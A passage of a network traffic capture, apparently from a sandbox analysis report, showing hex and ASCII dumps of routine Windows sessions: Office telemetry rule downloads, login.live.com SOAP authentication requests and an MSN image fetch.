6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:53 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:53 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: c63dd3a8-001e-0017-61d8-3d0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152153Z-178bfbc474bbcwv4hC1NYCypys00000007fg00000000e8gv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:53 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:53 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:53 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 753d71cc-101e-0065-41b6-3e4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152153Z-178bfbc474bwlrhlhC1NYCy3kg00000007m000000000mhw1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:53 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:53 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:53 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8a5d0632-c01e-0046-08fc-3d2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152153Z-178bfbc474bw8bwphC1NYC38b400000007eg00000000fucx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:53 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:53 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:53 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: db5fa324-001e-00ad-2244-3c554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152153Z-174c587ffdfmlsmvhC1TEBvyks000000066g00000000nxq1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:53 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:54 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:54 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:54 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 19559c36-501e-005b-23d0-3ed7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152154Z-15b8b599d88n8stkhC1TEBb78n000000011g0000000049h2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:54 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.5	49898	20.190.147.1	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:54 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-25 15:21:54 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 15:21:55 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 15:20:54 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: 79af7432-1bff-48e8-95b7-9f45a2ceb963 PPServer: PPV: 30 H: SN1PEPF0003FB2C V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 15:21:54 GMT Connection: close Content-Length: 1918
2024-11-25 15:21:55 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	49899	20.190.147.1	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:54 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-25 15:21:54 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 15:21:55 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 15:20:55 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C544_BAY x-ms-request-id: 8eddd653-4099-4587-b599-d3f60ce77106 PPServer: PPV: 30 H: PH1PEPF0001B74D V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 15:21:54 GMT Connection: close Content-Length: 11409
2024-11-25 15:21:55 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	49904	104.117.182.66	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:55 UTC	506	OUT	GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 15:21:55 UTC	547	IN	HTTP/1.1 200 OK Last-Modified: Sat, 16 Nov 2024 01:10:29 GMT Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 822 X-Datacenter: eastus X-ActivityId: 8573cc25-f04b-4276-9d05-cb327393d12e Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=303910 Expires: Fri, 29 Nov 2024 03:47:05 GMT Date: Mon, 25 Nov 2024 15:21:55 GMT Connection: close
2024-11-25 15:21:55 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:55 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:55 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:55 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 40f78568-a01e-0050-01c6-3edb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152155Z-178bfbc474bv7whqhC1NYC1fg400000007r0000000004m5r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:55 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:55 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:56 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:55 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 96754fe9-301e-0052-4f54-3d65d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152155Z-15b8b599d88s6mj9hC1TEBur3000000005ug00000000pw0m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:56 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> 